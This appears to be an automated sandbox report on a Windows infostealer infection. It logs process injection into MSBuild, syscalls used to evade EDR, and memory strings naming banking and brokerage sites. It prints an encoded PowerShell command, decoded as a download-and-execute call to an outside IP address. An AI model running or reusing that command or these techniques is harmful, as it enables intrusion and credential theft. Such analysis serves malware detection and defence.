Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59761	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 32275	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59649	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 43081	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 37974	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59538	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59425	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 32103	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 40457	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59298	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 48888	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 42118	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 51646	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 57800	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 32091	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 36270	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 36849	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 46483	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 48568	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 55094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 41319	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 30782	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 45916	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 47976	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 40544	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 49686	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 36100	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 45264	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 37726	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 55993	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 39893	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59286	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 40744	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 32322	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 58250	Jump to behavior

Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696584680
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696584680~
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696584680
Source: cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696584680z
Source: cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696584680h
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696584680
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696584680n
Source: cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696584680]
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696584680}
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696584680
Source: powershell.exe, 0000000D.00000002.1697372689.0000016DF5F59000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2415360235.0000000000BB8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696584680x
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696584680j
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696584680x
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696584680x
Source: cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696584680u
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696584680^
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696584680o
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696584680\|UE
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696584680f
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696584680
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696584680}
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696584680d
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696584680
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696584680t
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696584680s
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696584680
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696584680t
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696584680
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696584680p
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696584680
Source: MSBuild.exe, 00000012.00000002.2422367778.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696584680

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 7848, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -win 1 -ep bypass -noni -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQANQAuADYAMQAuADEANQA3AC4AMgAwADUALwBmADEALwByAGUAZAAnACkAIAB8ACAASQBFAHgA

Encrypted powershell cmdline option found

Source: unknown

Process created: Base64 decoded (New-Object Net.WebClient).DownloadString('http://45.61.157.205/f1/red') | IEx

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	NtAllocateVirtualMemory: Direct from: 0x7FFF157F8E14	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	NtCreateNamedPipeFile: Direct from: 0x7FFF4D3BBC70	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	NtClose: Direct from: 0x939080
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	NtAllocateVirtualMemory: Direct from: 0xA0A76ACB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	NtProtectVirtualMemory: Direct from: 0x6FDE40	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	NtQuerySystemInformation: Direct from: 0x7FFF40CB21D3	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	NtAllocateVirtualMemory: Direct from: 0x9355D0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	NtReadFile: Direct from: 0x110	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	NtClose: Direct from: 0x2
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	NtAllocateVirtualMemory: Direct from: 0x7FFF157F9635	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	NtProtectVirtualMemory: Direct from: 0x3	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	NtProtectVirtualMemory: Direct from: 0x7FFF4F2826A1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	NtCreateFile: Direct from: 0x7FFF157ECC95	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	NtProtectVirtualMemory: Direct from: 0x6C006C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	NtProtectVirtualMemory: Direct from: 0x7FFF157F94F5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	NtQuerySystemInformation: Direct from: 0x7FFF157E2143	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe protection: read write			Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 6B3E1000			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 6D7008			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe "C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -win 1 -ep bypass -noni -enc kaboaguadwatae8aygbqaguaywb0acaatgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwadoalwavadqanqauadyamqauadeanqa3ac4amgawadualwbmadealwbyaguazaanackaiab8acaasqbfahga

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.3208.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
